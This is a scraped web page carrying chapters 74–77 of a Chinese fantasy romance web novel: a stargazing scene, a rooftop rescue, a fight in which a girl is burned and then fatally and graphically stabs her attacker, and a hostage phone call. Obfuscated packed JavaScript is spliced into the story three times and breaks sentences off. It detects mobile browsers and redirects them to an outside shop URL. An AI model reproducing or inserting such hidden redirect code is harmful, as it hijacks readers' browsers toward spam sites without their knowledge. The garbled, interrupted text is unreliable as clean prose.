在很久以前,在他家附近的小公园里,时咎也喜欢这样躺在草地上看天,只是那里的天是暗红色的,透过云层,从天上可以看到人间繁华的霓虹倒影。 时咎问沉皑的生日,沉皑说七月十日。 时咎:“哪一年的七月十日?” 沉皑回答到:“243。”担心时咎的世界纪年法不一样,他又特意加了一句,“现在是272年。” 确实和地球的纪年法不一样,如果只有两百多年,或许他们的纪年法就是按照起源法案开始的年份算的。如果按照沉皑的年龄往前推,在他们那应该是在1995的样子。 于是时咎望着天空,停顿了好一会儿,笑说:“果然像你。” “什么?”沉皑问。 时咎抬手指指天:“星象排列。”他缓慢推导出那天的星象,每颗星星大致的位置。 “你看,你出生的时候,太阳和金星都走到了巨蟹座的位置,木星刚好是射手座,土星运行到双鱼座。” “你喜欢研究这些?” 时咎摇头:“也不是故意研究这个,是以前喜欢研究天上的东西,星体、星系、过去和未来,但是宇宙太大了,未知总是大于已知。后来还研究过一段时间炼金术,兴趣嘛,多知道一些,当故事了。” 沉皑淡淡笑出来,问他:“炼金术?讲了什么?” “讲了……”时咎的眼睛直勾勾盯着天空,他深深呼吸一口气,好像就能接收到天地给的隐喻。 “讲一切万有,能量震动的频率,周期循环,因果法则,上下一致。” 沉皑点头:“所以像我是什么意思?” 然而时咎露出一个晦暗不明的表情,说:“你猜?” 沉皑淡声道:“不想猜。” 时咎活动了一下身体,轻声说:“如果你不说,我也不会告诉你我在想什么。” 迎接他的是一片夜色般的沉默。 时咎心如擂鼓,他觉得这句话说得有点赤裸裸了,几乎是直接在点明一件事,但沉皑的沉默让他拿不准主意,提醒就变成了心慌。 片刻,沉皑开口,声音有点沙哑:“时咎,你有怕的东西吗?” 时咎怔怔望着星河,星河也投在他瞳孔里,他感受到自己身体每一寸都在努力运作:“我觉得没什么好怕的,最糟糕不过死,死前想体验过的都体验到了,就没什么好怕的。” “我有。”沉皑接得很快,他始终学不来时咎的冲动直白,但偶尔,又能从那样的性格里窥见一丝光明,他很喜欢,也很想要,但他和光明之间还有一道鸿沟,那鸿沟里是他童年时期、其中两年的记忆。 “沉先生会怕什么呢?”时咎说,但他的语气像是自言自语,所以沉皑没有接话。 良久,时咎伸了个懒腰,打算绕过这个话题,因为不想用自己的心理去揣测别人的。于是时咎去戳他,主动打破这个沉默:“你小时候训练结束会这么躺着看天吗?”一想到这就是他曾经辛苦过无数次的地方,或许每一处都有他的影子。 沉皑“嗯”了一声,本想接着说下去,但最后并没有说出口,到嘴边的话换了一句。他说:“可能有时候你会怀疑一切,但你始终爱着自己。” “嗯?”时咎偏过头,视线从星空转移到沉皑的侧脸,于是他像真的躺在床上般,整个人侧身过来,认真打量沉皑的侧脸。 虽然不知道为什么他会突然说这样的话,但时咎纠正道:“我本来就始终爱我自己,我才不会怀疑一切。” 沉皑轻轻勾起嘴角,任这个笑容被时咎看到,他说:“我知道。” 时咎突然不想再看星空,他侧着没动,视线彻底从夜色转移到了沉皑身上,毫不避讳。 直到沉皑迷茫转头,问他:“你一直看我做什么?” 时咎皱眉说:“不可以吗?” 沉皑:“可以。” 于是时咎变本加厉,撑起半个身体,把沉皑的胳膊抬起来横放,自己则毫无顾忌地躺下,将脖子枕在沉皑的胳膊上。 沉皑欲言又止,时咎则直接扫他一眼,语气轻快:“地上硬啊,脖子疼,给我当下枕头,沉先生一定不会介意的对吧?” 沉皑无奈心想:你也没给我选择的余地啊。 余地越小,他觉得自己越无法忍受,已经破土而出的情绪侵占满了他全部所思所想,忙起来可以暂时搁浅,可一旦像现在一样闲下来,便备受煎熬。 告诉他吧,告诉他,自己多喜欢他,多想和他在一起,多想现在就抱着他,吻他,占有他。 沉皑闭上眼,被时咎枕着的手臂绷 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沉皑手里的动作没停,他沉默几秒,含糊说:“记不清了。” 时咎觉得他肯定是记错了,正要问,手伸下去的时候皮肤忽然真碰到了什么软软的东西。 时咎眼睛一亮:“找到了!” 还真埋了东西。他原本以为是什么大体型的物品,结果捧着一抔土起来的时候,发现只一张折叠起来折成盒子样式、歪歪扭扭的湿润软纸,只能大概看出来是个盒子的形状,实际已经垮塌黏成一片了,一片土色。 “这是什么?里面有东西?可以打开吗?”时咎问。 “可以。” 时咎轻轻翻开纸,见里面躺着一个非常小、圆滚滚的…… 蓝色宝石? 时咎动作小心地拂去上面的泥土,捧着盒子往里看,真的是一颗蓝色宝石,小小的不足半根关节,随着手拿的重心在纸上来回滚动,发出滚动的轻微声音,时咎担心把这被浸湿的外纸撕坏了,干脆就这样把它小心放回沉皑手里。 尽管如此久远,好像并没有太影响它的色泽,即使天色晦暗,也大致能看到那宝蓝色的光。 时咎还是盯着这颗小小的宝石,想起自己是不是也有一颗类似的放在家里,不过蓝宝石应该都大差不差。于是他想再看清楚一点,手便不自觉想去扶眼镜,忽然发现自己除了在家看书,根本就不会戴眼镜,只好讪讪放下手感叹道:“看上去好东西哎?该不会是你小时候偷的吧?” 似乎很珍贵,确实是一颗宝石而不是塑料,可是却没有它的置物盒,只是用折叠纸埋在这么深的地方,很难不怀疑。 沉皑面无表情回答:“不是。” 时咎心想,蓝色的小宝石,像沉皑的眼睛,很漂亮。 见他目不转睛,沉皑的表情突然有些不自然,手好像想有什么动作一样往前伸了一点点,又立刻轻轻缩回来,犹豫片刻,最终还是快速把装宝石的纸盒放到时咎手里,轻描淡写地说:“喜欢就送你了。” 时咎看着又重回自己手里、还在盒中滚动的小宝石,又抬头看沉皑一直抿唇似乎想说什么却缄口的神情,挑眉道:“啧,我说我喜欢了吗?埋了多少年的东西啊,就敢往我手里送?” 本来只是一句调侃,不料沉皑难得回答得认真,他思索半晌,低声道:“二十年。” 顿了一下,接着又皱眉说:“不想要也可以还我。”说完就要去拿。 然而时咎已经迅速盖上那层纸,一手藏在身后,一手拦住了沉皑伸手的动作,笑道:“哎?你现在无权决定了。” 沉皑最终收回手,一言不发,任时咎拿着。 75. 第 75 章 第二天一早,季水风终于接到了季山月的电话,然而内容并不是太乐观。她挂了电话便冲出去通知了沉皑和时咎,三个人必须立刻回去。 言不恩站在门口,表情不是很高兴,嘟囔着:“好早。” 夏癸走出来揉她的头,温和说:“哥哥姐姐有事。” 言不恩想了想,突然眼睛睁大了,她跑过去拉住季水风说:“我要和你们一起回去!” “不要任性。”夏癸立刻上前一步制止道。 “我想跟姐姐一起,我也可以帮忙!”言不恩不听。 夏癸想把言不恩拉回来,但是言不恩直往季水风身后躲,夏癸严厉说:“你帮不到哥哥姐姐!” “我可以!” 他们没有那么多时间了,季水风打断了夏癸接下来要说的话,把言不恩往外面赶了下,说:“走吧。”接着转头对夏癸说,“我会看好她的。” 夏癸犹豫一下,没有再说话,最后还是点头。 顶楼天台的风吹得人的神经异常清醒,安全管理中心十多楼不算特别高,但是真正在顶楼悬空看地面,又是另一种心悸了。 季山月睁开眼看到的就是这样的场面,他直视着十多楼高的地面,风一阵阵打着他的脸,手脚被紧紧束缚在身后。他不知道自己是如何到这儿的,只知道自己是巡查结束准备回家,后来都记不得了,接下来便是现在。 起初他还觉得谁这么不长眼,什么东西都敢把算盘打到他头上了?随意用力都可以挣开束缚,在身体下坠前一秒他依然有办法自救,不至于真从顶楼摔下去,掉下去的途中运气好也是可以想办法自救的。 然而他动了两下脸色就变了,他发现他挣脱不了绑着他的东西,接着他又发现,他是被什么东西绑在一捆树枝上的,这树枝就是普通树枝,承受不了他200斤的体重,过一会儿就会传来“咔嚓”一声,是里面在断裂。 手机在身上,几乎掏不到,好不容易能拿出来,根本无法看到屏幕,他只能凭记忆按到通话,一个电话一个电话的拨,直到拨到季水风。 如果不是担心怒吼会加速树枝折断,季山月估计已经在顶楼破口大骂了。 四个人赶到的时候看到的就是这样的场景,均是一愣。 季水风喊了一声:“季山月!” “在在在,哎呀妈的,快看看怎么给我解开!”季山月胀红的脸,用恶狠狠的语气说着轻声的话。 然而季水风冲前去,看到那捆在季山月四肢上的绳子时,脸色微变,她说:“这是什么?”她尝试直接撕裂,发现绳子纹丝不动,干脆掏出小刀,也完全割裂不开。 季山月骂骂咧咧:“哪个王八敢这么对老子,要普通方法能弄开,我早下来了。” 时咎走近仔细观察了一下,眉头便拧了起来,他嘴唇微动,抬头看向沉皑。 “怎么了?”沉皑问。 时咎突然发现自己几乎是有问题目光下意识就会去找沉皑,于是他摇摇头说:“解不开。” 他埋头再次确认,但还是不太确定地说:“可能是分子级绑结。” 这种绑结一般是在分子尺度上的,以纳米为单位。或许是共价键,两个原子因为共享电子,使它们完全结合在一起,或许是氢键,一种弱的非共价相互作用在氢原子和氮氧氟之间。但无论是哪种,都不是常规手段可以解开的。 针对季水风的这个人,真的是想尽了办法,连分子绑结都用,无所不用其极。 季山月的脸色变了又变,他大骂出声:“妈的谁干的爷爷要跟他拼了!”他一出声,树枝清脆的断裂声就传来,他即刻闭嘴了。 一直在后面不知道发生了什么的言不恩担忧地说:“发生什么了?不然,我们去楼下垫个救生垫?这要是断了……” “呸呸呸!”季山月小声骂。 那捆树枝完全悬空在外面,只有底部是在顶楼地面。季山月已经在思考如果在楼下铺垫子,他掉下去多大几率能完好无损,然而他就这么想去目测距离,目光移到楼下地面时,愣愣地骂了出来:“我靠楼下那个B那是不是舟之覆?” 闻言,时咎立刻趴在边沿往下看。 果真是舟之覆,还有凌超建!时咎突然感觉心脏一紧。 楼下还有人! 不好了! 两个人快速靠近那几个在广场上行走的人,就在他们接近的前一秒,时咎冲着楼下大喊了一声:“小心!!!” 但来不及,楼下的人根本没听到,他们几个走在一起,或许是觉得虽然人人自危,但是人多就更安全。就在时咎尾音刚落,一群人便朝他们扑了过去。 亡灵大军! 不仅如此,一个人的身上燃起了火焰。 “我靠靠靠靠!”看见楼下的一幕却无力阻拦,季山月也怒吼出声,结果用力过猛。 “咔嚓!”支撑他的树枝彻底断了。在那一瞬间季山月也没反应过来,当时突然清醒的时候,身体已经垂直坠落。 “季山月!!”季水风大叫,她飞身冲到边缘快速伸手,然后一片衣角都没有抓到,“季山月!!!” “姐!!”季山月吼了一声,那声音随着他的坠落直直往下掉。 不能让他掉下去! 时咎立刻趴在栏杆上,将手伸出去悬在空中,双眼死死瞪着那个坠落的身影,眼睛里布满红血丝。 季山月在半空中,脑子转得比平时快得多,他在想如何在这几秒里自救,然而重心拉扯得他的心脏快要被抽空血,四肢也依然无法活动,如果没办法挣脱,他什么都做不了。 他不想死,至少不想就这么莫名其妙死掉。看着旁边一闪而逝往上逃离的楼梯,越来越近的地面,看到那几个浑身是血躺在地上的人,还有听到奇怪的声音逐渐抬起头的舟之覆,一切似乎都在眼里被放慢了动作。 他要是没了他姐怎么办?他不想让他姐孤单一个人。季山月最后只在想这一个问题。 会有办法的,会有办法的。 地面近在咫尺!二十米、十米、五米! “砰。”一声非常轻微的绷紧声。 “哇。”随即,耳边传来了舟之覆轻轻的、不可思议的轻叹。 季山月闭上的眼倏然睁开,地面已经贴着他的鼻子!地上的灰尘清晰可见。 “你这是在玩什么新鲜东西?”舟之覆故作惊讶地小声问。 季山月憋住的气瞬间释放出来,他重重出了口气,下一秒,他轻飘飘从十厘米高的地方摔在地上。 他浑身是汗,剧烈的呼吸让他生出劫后余生的后怕,他先是趴着,又让自己翻了个身面对着天空,刚好可以看到几十米远的地方季水风露出的半个的影子。 大口喘气,根本没有理会旁边是不是有人在跟他说话,只是轻轻点头,像在给楼上的人示意,不管他们看不看得到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187367|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与此同时,天台,时咎一下脱力坐回地面,被沉皑接住了。他的头上全是汗,他伸出手,有点疑惑。 季山月是他对梦的控制才得以存活的? 他的能力从来都只围绕着沉皑,还是说其实别人他也可以控制住? 见到季山月平安落地,季水风终于松了一口气,也从天台腿软地走了下来。 还好,都还好。 缓过来不出一分钟,季水风长出一口气,严肃说:“先下去。” 几个人匆忙往下赶,舟之覆和凌超建还在下面,季山月现在的状态还不太妙。 言不恩在最后,没走两步,她被什么东西绊了一下,一个踉跄往前扑了好几步,回过头,却没有在地面看见任何东西。 下楼的途中季水风一直在打电话让人来处理,几个人下去的时候,季山月还躺在那里,旁边几具尸体,舟之覆和凌超建已经不见了踪影。 季水风匆忙走过去把季山月扶起来,焦急问:“你怎么样?” 季山月装死,闭着眼睛喃喃说道:“妈的臭王八,言威训练我们的时候可没有从这么高的楼掉下来还不让用四肢的。” 季水风一时无语,但看到季山月还完好无损,便笑出来,她转头轻声对时咎说:“谢谢。” 于是季山月也睁开眼,恹恹地说:“救人救到底,快,时咎臭崽子,绳子,给爷解一下。” 时咎看向沉皑,下一秒,只听见几声清脆断裂声,季山月身上的绳子竟真全部断了,他一下挣脱跳起来,立刻生龙活虎一般,怒吼:“爷爷活了!”说完就往时咎身上扑。 “臭崽子你真牛逼!” 承受不住这200斤的猛扑重量,时咎当即被扑了个人仰马翻,两个人一起摔在地上。 沉皑将时咎拉起来,皱眉说:“别闹,去追舟之覆。” “哦哦对!”季山月反应过来,立刻指了一个方向,“我估计他俩觉得我不好对付,跑了。” 季水风:“走!” 匆匆往文明中心后面林荫道赶时,季山月频频回头,这才反应过来,他指着后面的言不恩说:“我请问呢,这个死小孩怎么回事?” 言不恩翻了个白眼,没理他。 追逐的路上,时咎一直皱着眉头在想,季山月掉下去的时候算极端情况,他若是真的获得新的能力还能说过去,但是解开那个结也算情急之下吗?他好像并没有那么情急,还是说,是沉皑的意念可以控制他的能力? 林荫道外围是文明中心的后花园,是高楼林立中的自然风景,几乎都被花草树木覆盖,一条小径可以从文明中心最左侧绕到最右侧。 就在这条小径里,两个人在前面急速前行,后面跟了五个人,距离越拉越小。 舟之覆警觉地望了眼身后,小声说:“他们好像追上来了。” 凌超建不以为然,嗤笑:“那又怎样?几个人不是照样解决?” 舟之覆难得没有吊儿郎当,他想了想,他从来没有真正和季山月针锋相对过,虽然打过不少次,却都是在一定界限内的斗争,不会出现将谁置之死地的情况,而且季山月对付他,无论是对付他本人还是亡灵大军,从来都是用体能,那是一种发泄般的行为,但现在不一样,现在他和凌超建做的事足够季山月动用能力了,一旦他动真格,谁也不是他的对手。 问题出在,他们三个之中一直单独行动的那个人会不会管他的同伴? 76. 第 76 章 思索间,后面的人已经追到视野范围内了。舟之覆听到细细簌簌的声音,紧接着破空声传来,一颗小石子精确打在凌超建的头上。 凌超建狂怒转身:“谁找死!” 转身的一瞬间,一道黑影飞扑而来,一拳照着凌超建的脸便挥了下去,他顿感眼前一黑,剧烈的疼痛从头骨一路传遍全身。 “啊——!!”他惨叫,整个人被掀飞出去。 季山月揉了揉自己的拳头,给舟之覆打了个招呼:“你得谢谢他,我本来想揍你的,他说我找死,那我只能打他了。” 舟之覆耸肩,毫不在意地说:“那我也不会感谢他。” 季水风往前走了几步,严肃说:“舟之覆,你们现在做的事严重违反安全管理中心条例,我会对你们发起通缉。” 舟之覆摊手,依然是一副无所谓的样子。另一边被打出去痛得不行的凌超建爬起来,慢慢走到舟之覆身边,咧开嘴笑:“还是第一次被通缉,有点兴奋,但我劝你别这么做,你想,还是有很多人不知道谁在屠杀能力者的,所以我们也只是心情好才杀几个,要是所有人都知道了,那我可就要管他的能力不能力,全杀咯?”他的声音很尖,带着一股莫名的兴奋。 时咎指着他,疑惑道:“我有问题,你不洗脸的吗?” 四下突然一片寂静,谁也没抓到时咎突如其来的点在哪。 哪想时咎接着说:“还有,你的审美也太差了。” 霎时的安静里,只有沉皑突然不合时宜地轻声笑出来。 凌超建顿时恼羞成怒,瞬间化为无形朝时咎冲过来,紧接着,舟之覆的亡灵大军四面围攻。 这次来的竟然真的是军队! 季山月把手指按得咯吱作响,反手就把率先冲过来的亡灵手臂折断。从早上醒来发现自己被挂在顶楼半空开始,就一直憋着口气,现在正好有人送上门来,只得请他们回西天了。 季山月的猛攻看得舟之覆直摇头,但凡这世界上死的人少了点,都架不住季山月这恐怖如斯的战斗水平。 “呲——”轻微的一声,皮开肉绽的痛立刻从手臂处传来,时咎吃痛收回手,听到无形空气里凌超建尖锐的笑声,他“咯咯”笑不停,一边笑一边说:“你的意念呢?把我弄出来啊?” 也许是上次时咎给凌超建带了点心理阴影,所以刚刚他还在想怎么对付时咎,没想到这次时咎竟然没有使用他的意念。 不想还好,一想,他的身影就变成有形,接着结实吃了时咎一个回旋踢,被砸到后面的树干上。 时咎转头,看向另一边与亡灵大军缠斗的沉皑,心里叹口气。 舟之覆和凌超建,两个人的本质都是极其相似的,本人并没有什么攻击力,甚至可以说是弱不禁风,但使出能力却让人无法近身。 思考间,高温灼烧的空气又扑面而来。时咎一咬牙,想翻身去躲,但他看不清凌超建具体的位置,已经准备好再被烫伤,然而热浪袭来的时候,一个身影挡在面前,在凌超建显性的瞬间抬腿便把他踹了出去。 沉皑低声说:“我来对付他,你别受伤。” 时咎心想他受伤也只是当下痛,醒了再睡着就会好,其实问题不大。 然而凌超建被踹出去后竟然直接隐没在了亡灵大军里,杂乱的磁场使人分不清他的具体方位,只能等他主动靠近。 尘土在军队的脚下被纷纷扬起,每个人都在被围攻,言不恩偷偷躲在不远处的树后面,终于知道为什么他们不想让她来了,然而思绪还没飘远,一只手从后面捂住了她的嘴。 “唔!”言不恩大叫。 “嘘,别乱叫,不然你死得很快。”凌超建出现在她身后,尖锐地说。 刚把她拖到了战场中央,便被季水风看到了,她感觉自己心头一跳,抬手就将面前的亡灵劈倒,如一阵风样往言不恩身边跑,但还没跑到便又被拦住了去路,她大喊:“你放开她!” 旁边的人也注意到了这里的变故,均是脸色微变。 言不恩感觉到一把尖刀就横在自己的颈动脉上,在往前一点就会刺穿她的皮肤,身后的人笑着,笑的声音难听又刺耳,他朝季水风喊:“来,把你通缉取消了,以后也不能管我的事。” 他现在不是隐形状态,如果冲过去,有没有可能在刀尖伤害到言不恩之前就把他制服?季水风脑子里疾速地想。 然而凌超建等不耐烦,再次喊:“给你五秒钟,五!” 季山月看到就在旁边的时咎,朝他跑过去,低声喊了一句:“时咎!” “四!” 时咎回头,咬牙说:“试一下!” 他在给沉皑传话,但沉皑那边围了太多亡灵大军,一时间左支右绌。 “三!” 季水风算了时间,以她的速度和他们所差的距离,可能刚好。 凌超建跟看准了季水风的心思一样,他咧开嘴笑,吼道:“别想着过来!”说完他根本不等倒计时结束,他的手消失了,下一秒,那高温便出现在言不恩的脸上。 言不恩发出剧烈的惨叫。 “啊啊——!!!” 伴随着凌超建刺耳的笑声。 时咎心头震颤,看到言不恩惨叫后,她的脸上出现了一块烫伤的烂肉。 他怎么敢!! “卧槽你妈!”季山月彻底被激怒了。 “二!”凌超建还在倒数。 同样被彻底惹恼了的还有季水风,她爆发出的速度几乎没有被凌超建捕捉到,她从来没发现自己可以以如此迅速的动作直逼目标,在凌超建察觉不对要动手的前零点几秒,季水风闪现到他身后,一边抓住他拿刀的手,一边手掌抓住他的头发,以绝对的力量和速度将他整个人扯了出去。 “咔嚓!”骨头断裂的声音。 凌超建整个人被掀到一边,痛到他失声叫出来。季水风当即护住言不恩滚向另一边。 同一秒,飓风平地而起,白色狂风似乎夹带着利刃,猛然朝凌超建的方向一冲而去。 “轰——” 周围大片树在狂风里摇摇欲坠后,轰然倒塌,一棵接着一棵。 “啊啊啊——!!”言不恩尖叫,她摸到自己的脸,痛到眼泪一颗一颗往下掉,她慌乱去找镜子,却被季水风按住双手。 她像疯了一样尖叫:“放开我!我的脸!啊啊啊——” 季水风脸色很难看,她能清楚地看到言不恩脸上那一块烧烂的肉,灼烧的痕迹痕迹像蛆虫一样,爬在如此爱美的言不恩的半边脸上,但她不敢松开手,只能死死按住她,盯着她,慌乱地轻声安慰:“没事没事,不严重,不严重。” 言不恩听不见,只能感受到灼烧的疼痛,她疯狂挣扎着。 “咳咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187368|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”从不远处传来猛烈的咳嗽声,凌超建撑着身体从断树根包围圈中爬起来,看向言不恩的方向,看到她的脸的时候,露出一个嘲讽的笑,他断断续续地说:“你,咳咳,哈哈你,你好丑。” 也许是听到了,也许只是看懂了他的嘴型,言不恩突然爆发出从未有过的力量,硬生生挣开了季水风的束缚,她手忙脚乱地从地上爬起来,捡起刚刚凌超建掉落在原地的小刀直直朝凌超建冲了过去。 “言不恩!”季水风大喊。 言不恩哪听得到,她的双眼几乎什么都看不到了,只能看到不远处趴在地上笑得开心的人。 凌超建笑得上气不接下气,他觉得这小女孩挺有意思,这样还敢来? 在言不恩冲过来的时候,凌超建打算隐身,下一秒他的脸色苍白。 隐身不了了。他猛地不可置信地望向另一边的季山月,而对方只是在不远处俯冲下来,横扫出去面前一排亡灵,连一个眼神都没有给他。 “噗!”血□□穿的声音,凌超建瞪着眼睛,看着面前的小女孩,她的脸上写满仇恨,看她将那把他从监狱里带出来、杀了很多人的小刀捅进自己的身体。 言不恩睁得大大的眼睛通红,表情里没有一丝理智可言,她的手在抖,嘴唇也在抖,似乎不停在重复某些语句,在凌超建刚要张嘴说话的时候她又把刀拔了出来,接着再用力捅进他的胸膛。 “你,你,去死,你去死,你去死。” 凌超建听清了她在说什么。 言不恩从凌超建的眼睛里看到了自己的模样,看到了那烧焦的半边脸。 她手起刀落,一秒也没有犹豫、没有停留,一次又一次泄愤般拿刀去捅他,捅他身体的任何一个地方,像被上了发条的木偶,重复着手里的动作,直到对方瞪着的眼完全无法闭上,他的身体全是洞口,如同一滩烂泥,血顺着她的脚往下流。 “你去死,你去死!” 她无意识念着,看到凌超建闭不上的双眼里自己的脸,突然惨叫出声,双手死死握着刀柄,把满是血的刀刃对准了凌超建的眼睛,一下一下再次用力挥下去,直到他的两只眼睛也血肉模糊,再也倒影不出她的表情。 “言不恩!” “言不恩!醒一醒!” 好像有人在叫她,但她听不真切,有人在唤她的名字,她却只能感受到身体里的血在奔涌,身体外的血在飞溅,溅到她的头发上、脸上、身上。 丑陋的女孩怎么配得上当公主呢。 呼吸在耳边大起来,手里的刀被夺走,言不恩感觉到自己身边有了温度,接着落入温柔的怀抱,随后眼前一黑。 舟之覆奔逃得心有余悸,没想到这群人一个比一个疯。 沉皑的办公室。言不恩躺在沙发上,脸上围着纱布还在昏迷。垃圾桶里是一圈一圈扔掉的医疗废品,纱布上面都是血,时咎和沉皑身上也有不同程度的烫伤,只是都藏在衣服下。 季水风始终没说话,季山月一直在来回踱步。 时咎大概把这两天的事向季山月说了一下,季山月更无法冷静了。 “到底是谁?”季山月一声怒吼,着急地停不下来一样来回走。 时咎把他最后撕下来的纸条递给季山月,季山月拿着纸条一看,顿时停住脚步,脸上的表情是震惊,不敢相信。 ——杀死不纯之人1 77. 第 77 章 “不纯之人是什么意思?”季山月暴怒问道,“谁不纯?” 时咎沉默片刻,问季水风:“有没有可能是以前发生过什么,你忘了?” 他想到自己与沉皑的事,他也是一丝一毫都想不起来,会不会有类似的原因。 然而这句话惹恼了季山月,季水风还没说话,他已经冲过来一把提起时咎的衣服吼道:“你什么意思?你质疑我姐?!” “季山月!”季水风出声制止,她叹气,无力地说,“别吵了。” 季山月一把推开时咎,恨恨瞪了他一眼。 时咎往后踉跄一步,稳住后也只是平静地整理好自己的衣服,没有说话。他理解季山月的心情,不想在这个时候和他陷入争执。 一切都在胶着,不冷静也只能雪上加霜。 他们现在找不到言威,言不恩受伤,舟之覆跑了,还有个从天而降针对季水风、随时都会对他们产生威胁的人,不清楚这个人的实力,他们明晃晃地站在不利的位置,之前查的事情也一团糟,不知道沉船上的小孩是谁,找不到教化所。 所有的事如同缠绕的刺,打成一个又一个死结,找不到任何一个突破口,尝试强行破局又很有可能先把自己给刺伤。 毫无头绪,只能任沉默与爆发同时在心底横行。 季水风提议都先回去休息吧。以防万一,季山月要求跟着季水风,他不回自己家了,几个人很快各自离开。 落地灯柔和地亮着,照着客厅一隅,周围静悄悄。 沉皑一直睡得不安稳,直至鸟叫传来,窗外黎明,天边有了一丝暖黄的光。客厅有轻微的响动,沉皑立刻睁眼,翻身起床出去看,刚好和要走进来的时咎撞上。 “伤口怎么样?”沉皑问,刚醒的声音有些哑。 时咎撩袖子看了一眼,无所谓道:“没有了,我说了我醒来就会没事。”也算是梦境为他开的特殊通道,无论如何受伤,也终究是梦里的伤害,一觉醒来便消失无踪。 沉皑没有应答,他做不到在那种时刻还能冷静思考时咎醒来就会万事大吉,一切都是当下肌肉记忆一般的反应。 时咎转身去沙发上坐下,问道:“你还睡吗?” 沉皑摇头:“不睡了。” 一想到这些糟心事,就睡不着。 时咎伸手拉起沉皑的袖口,纱布缠着他的手腕,胳膊上又添了新的纱布。胸口处应该也是有伤口的。 时咎问:“换过药了吗?” 沉皑:“嗯。” 应该是在他离开这一会儿自己换的,时咎说:“下次我帮你。” 沉皑:“好。” 时咎思来想去,说:“我刚刚醒来也一直在想,为什么会有人这么针对季水风?” 没有无缘无故的爱与恨,每个人的行为背后都有完整的心理逻辑链。就像舟之覆,完全的目标主义导向者,为了他的目标可以随时切换阵营,上一秒可以帮他们,下一秒也可以害他们,因为他的目标非常明确,某种程度上来讲,他是一个非常有底线的人;哪怕是凌超建,邪恶到几近变态,可以说是纯粹的恶,但他依然不会无缘无故做出行为,至少可以想明白,他对于自己的恨来自与隔离时上车耽误他时间,无论理由多荒唐,一旦成为对方的理由,才有了接下来的行为。那季水风呢? 所以时咎还是坚持季水风或许是做过什么,但她忘记了,或者就是她知道什么原因,但她没说。 相比之下,时咎倾向于后者。 在小时候跟着父母旁听心理咨询临床分析时,时常都会遇到类似的情况:无论是咨询本身,或者做意象疗法,咨询师在向来访者提出某种假设时,来访者会立刻结合自己的经历去思考这个问题,然后告诉咨询师“可能是因为之前经历了什么”,即使来访者不确定,但所想即所得,既然能联系,那大概率就是那个原因,是来访者自己对自己心事的解答。 季水风看到纸条时的反应类似,都是不可置信,而不是疑惑茫然。她可能想到了什么,而她想到那个很快被自己否定的答案,很有可能就是真实的答案。 同样的反应在季山月脸上也出现了。 时咎觉得他们可能都能联系到过往经历中的某些事,但又全部否定了。 那么问题在于,走到这一步,已经有人为此丧生,甚至到目前为止依然威胁着季山月的安全,都无法让季水风坦白的原因会是什么?那件事是什么? 纸条上的字很耐人寻味,不纯之人,这个不纯之人到底指向什么?身体的不纯还是精神的不纯? 时咎再次向沉皑确认他们三个从认识到现在,有可能发生的事,然而沉皑都是摇头,他很确定说:“没有这样的事。” 手机的震动毫无征兆响起。时咎愣愣看着沉皑,沉皑也不动声色看着他。 好半天,时咎才反应过来是自己的手机在震动。 等等—— 他的手机?! 在梦里一辈子都没响过的手机响了?时咎有点懵圈,他的号码在这个世界只有两个人知道,一个正在眼前看着自己,另一个…… 何为! 时咎接起来,刚要说话,电话那头就传来一个熟悉的声音:“嗨,宝贝!” 时咎抬眼看向沉皑,默默拿下手机按了免提。 电话那头懒懒的声音说:“是这样的宝贝,你看,你们把那小鬼杀了,言威那糟老头子也不知所踪,我现在一个人真的也是非常的不知所措,孤军奋战,所以我必须得找点自保的方法。” 那边传来轻轻的笑声,他好像远离话筒对着旁边说了一句:“哎你也说点。” 听筒里何为的声音瞬间响起:“十九你别管他!唔唔唔……” 声音被打断,舟之覆又把话筒靠近自己嘴边,懒洋洋说:“我知道你肯定会说‘放开他!有事冲我来!’哎呀,你放心,我不是那小鬼,没有无差别杀人的癖好。我呢,要求只有一个,别追杀我了。” 时咎冷冷道:“你要干什么?” 舟之覆假作嗔般“啊啊”了两声,继续道:“我当然是接着完成我的任务啊,不过嘛,我之后去哪都会带着你的朋友的,你们要是不为难我,我还可以勉为其难负责一下他的安全,但是……” 他停顿了一下,随后清了清嗓子,笑着说:“但是如果他有个三长两短,全都是为你而死。”说到后面,他的语气变成了明晃晃的威胁。 时咎听到那边何为挣扎的声音,捏紧了手机,正要说话,被舟之覆快速打断:“对了!你最好转告一下季家那俩姐弟哦!”说完他便干脆挂了。 时咎一把将手机扔到沙发上。 另一边,舟之覆玩着手里的小刀子,坐在何为的床上,翘着二郎腿吊儿郎当。 被绑在椅子上的何为战战兢兢的:“这位先生,你这样是不对的。” 舟之覆乜他一眼,无所谓道:“你说不对就不对?现在是我说了算。”说着他站起来拿小刀在何为的脖子上比划了一下。 吓得何为立刻缩回去:“好的。” 舟之覆耻笑他的胆小,收起刀,懒懒地说:“现在我要把你带走了,你如果听话,我考虑留你个活的,否则……” 何为浑身一抖,小声说:“你,你是不是有什么困难才这样做的?你也可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 